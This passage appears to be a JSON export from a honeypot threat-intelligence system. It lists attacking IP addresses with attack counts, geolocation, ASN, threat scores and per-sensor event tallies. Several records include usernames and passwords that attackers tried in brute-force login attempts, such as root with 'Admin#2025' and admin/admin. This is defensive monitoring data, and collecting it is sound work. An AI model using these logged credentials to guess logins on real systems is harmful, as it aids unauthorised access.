      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 14
      }
    },
    "146.190.88.236": {
      "attack_count": 18,
      "first_seen": "2026-05-24T13:43:31.249Z",
      "last_seen": "2026-05-24T15:01:28.060Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root",
        "user"
      ],
      "passwords_attempted": [
        "Admin#2025",
        "Kelltech",
        "password2026"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:43:31.249000+00:00",
        "last_seen_30d": "2026-05-24T15:02:33.314000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "102.67.56.129": {
      "attack_count": 16,
      "first_seen": "2026-05-23T09:20:31.580Z",
      "last_seen": "2026-05-23T09:32:51.958Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Bredasdorp",
      "asn": 328474,
      "as_org": "Jebo-Connect-AS",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:20:31.580000+00:00",
        "last_seen_30d": "2026-05-25T09:41:56.054000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "190.103.31.62": {
      "attack_count": 16,
      "first_seen": "2026-05-24T18:39:38.196Z",
      "last_seen": "2026-05-24T18:49:46.090Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Tinaco",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:39:38.196000+00:00",
        "last_seen_30d": "2026-05-24T18:50:51.460000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "157.245.218.191": {
      "attack_count": 12,
      "first_seen": "2026-05-21T11:42:49.009Z",
      "last_seen": "2026-05-21T11:45:26.979Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 134028,
        "days_active_30d": 1,
        "ports_targeted_30d": 66284,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-21T11:41:06+00:00",
        "last_seen_30d": "2026-05-21T11:54:11.920000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 117198,
        "Honeytrap": 16768,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 11,
        "Miniprint": 8,
        "ConPot": 5,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "186.206.190.68": {
      "attack_count": 12,
      "first_seen": "2026-05-24T01:44:17.497Z",
      "last_seen": "2026-05-24T01:53:09.050Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:44:17.497000+00:00",
        "last_seen_30d": "2026-05-24T02:00:24.100000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "209.126.2.70": {
      "attack_count": 12,
      "first_seen": "2026-05-14T18:27:43.039Z",
      "last_seen": "2026-05-15T13:32:01.699Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T18:27:43.039000+00:00",
        "last_seen_30d": "2026-05-15T13:33:04.546000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "91.201.67.126": {
      "attack_count": 12,
      "first_seen": "2026-05-28T11:56:35.250Z",
      "last_seen": "2026-05-29T13:00:44.934Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Palermo",
      "asn": 56630,
      "as_org": "Melbikomas UAB",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T11:56:35.250000+00:00",
        "last_seen_30d": "2026-05-29T13:01:52.839000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "78.105.154.4": {
      "attack_count": 10,
      "first_seen": "2026-05-10T15:02:38.005Z",
      "last_seen": "2026-05-10T15:06:31.348Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Hexham",
      "asn": 200213,
      "as_org": "Tapcom Technology Limited",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T15:00:08.036000+00:00",
        "last_seen_30d": "2026-05-10T15:07:31.922000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "64.62.197.212": {
      "attack_count": 9,
      "first_seen": "2026-05-04T13:57:24.778Z",
      "last_seen": "2026-05-19T11:58:53.420Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 30,
        "ports_targeted_30d": 88,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T01:15:35.420000+00:00",
        "last_seen_30d": "2026-05-31T14:49:57.809000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 177,
        "Honeytrap": 89,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Mailoney": 6,
        "Adbhoney": 2,
        "Tanner": 2,
        "Dionaea": 1
      }
    },
    "180.93.75.229": {
      "attack_count": 8,
      "first_seen": "2026-05-13T22:59:40.510Z",
      "last_seen": "2026-05-28T15:53:34.543Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7602,
      "as_org": "Sai gon Postel Corporation",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T22:59:40.510000+00:00",
        "last_seen_30d": "2026-05-28T15:54:44.062000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 8,
        "Honeytrap": 2
      }
    },
    "184.105.139.70": {
      "attack_count": 8,
      "first_seen": "2026-05-06T04:59:35.547Z",
      "last_seen": "2026-05-21T06:31:32.917Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/135.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 323,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T04:51:51+00:00",
        "last_seen_30d": "2026-05-31T13:43:14.777000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 189,
        "Honeytrap": 116,
        "Cowrie": 8,
        "Dionaea": 5,
        "ConPot": 2,
        "Honeyaml": 2,
        "Ipphoney": 1
      }
    },
    "91.179.49.97": {
      "attack_count": 8,
      "first_seen": "2026-05-05T02:29:04.462Z",
      "last_seen": "2026-05-05T02:38:01.943Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 5432,
      "as_org": "Proximus NV",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:29:04.462000+00:00",
        "last_seen_30d": "2026-05-05T15:19:51.124000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "40.124.175.39": {
      "attack_count": 7,
      "first_seen": "2026-05-07T04:50:36.101Z",
      "last_seen": "2026-05-07T04:50:46.098Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 16.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 20,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T01:50:41.490000+00:00",
        "last_seen_30d": "2026-05-21T00:30:50.475000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 7,
        "Honeytrap": 4,
        "Dionaea": 2
      }
    },
    "198.235.24.94": {
      "attack_count": 6,
      "first_seen": "2026-05-05T06:40:11.289Z",
      "last_seen": "2026-05-29T22:13:11.632Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T16:48:14.606000+00:00",
        "last_seen_30d": "2026-05-31T08:09:06.393000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 25,
        "Cowrie": 6
      }
    },
    "2.59.218.8": {
      "attack_count": 6,
      "first_seen": "2026-05-14T15:15:59.690Z",
      "last_seen": "2026-05-14T15:16:07.381Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 62005,
      "as_org": "BlueVPS OU",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T15:15:59.690000+00:00",
        "last_seen_30d": "2026-05-14T15:17:16.355000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "118.196.26.161": {
      "attack_count": 5,
      "first_seen": "2026-05-30T19:52:40.116Z",
      "last_seen": "2026-05-30T19:52:42.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "P@ssw0rd@2023"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T19:52:40.116000+00:00",
        "last_seen_30d": "2026-05-30T19:53:49.401000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "193.138.7.138": {
      "attack_count": 5,
      "first_seen": "2026-05-26T21:32:39.492Z",
      "last_seen": "2026-05-26T21:32:42.790Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "V3ryF8ck1ngF4stHASTEN1337!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 50304,
      "as_org": "Blix Solutions AS",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T21:32:39.492000+00:00",
        "last_seen_30d": "2026-05-26T21:33:49.270000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "100.55.66.68": {
      "attack_count": 4,
      "first_seen": "2026-05-21T00:54:45.416Z",
      "last_seen": "2026-05-21T00:54:50.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T01:05:57.689000+00:00",
        "last_seen_30d": "2026-05-22T01:02:29.543000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "183.128.53.177": {
      "attack_count": 4,
      "first_seen": "2026-05-05T05:42:25.238Z",
      "last_seen": "2026-05-07T18:47:01.552Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:42:25.238000+00:00",
        "last_seen_30d": "2026-05-07T18:48:11.136000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "205.210.31.128": {
      "attack_count": 4,
      "first_seen": "2026-05-03T22:41:00.216Z",
      "last_seen": "2026-05-03T22:41:03.868Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 56.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.1,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 24,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:21:15.970000+00:00",
        "last_seen_30d": "2026-05-25T05:19:47.278000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 12,
        "Cowrie": 4
      }
    },
    "66.132.172.180": {
      "attack_count": 4,
      "first_seen": "2026-05-12T12:38:34.734Z",
      "last_seen": "2026-05-12T12:38:52.994Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T10:59:19+00:00",
        "last_seen_30d": "2026-05-31T10:01:51.539000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 103,
        "Honeytrap": 70,
        "Dionaea": 8,
        "Cowrie": 4,
        "ElasticPot": 4
      }
    },
    "91.231.89.168": {
      "attack_count": 4,
      "first_seen": "2026-05-23T01:25:09.907Z",
      "last_seen": "2026-05-23T01:25:10.654Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T02:55:58.984000+00:00",
        "last_seen_30d": "2026-05-31T02:33:57.117000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 128,
        "Honeytrap": 25,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "165.22.54.16": {
      "attack_count": 3,
      "first_seen": "2026-05-17T05:41:52.465Z",
      "last_seen": "2026-05-17T05:42:54.431Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "zappa"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T19:43:26+00:00",
        "last_seen_30d": "2026-05-17T05:44:02.607000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "85.111.68.99": {
      "attack_count": 3,
      "first_seen": "2026-05-16T12:25:00.414Z",
      "last_seen": "2026-05-16T12:26:09.953Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bah\u00e7elievler",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T12:25:00.414000+00:00",
        "last_seen_30d": "2026-05-28T23:02:30.465000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "112.103.94.49": {
      "attack_count": 2,
      "first_seen": "2026-05-20T03:34:14.856Z",
      "last_seen": "2026-05-20T03:34:40.197Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:34:14.856000+00:00",
        "last_seen_30d": "2026-05-20T03:35:46.070000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.215.165.91": {
      "attack_count": 2,
      "first_seen": "2026-05-25T07:20:30.615Z",
      "last_seen": "2026-05-25T07:20:42.617Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Ningbo",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
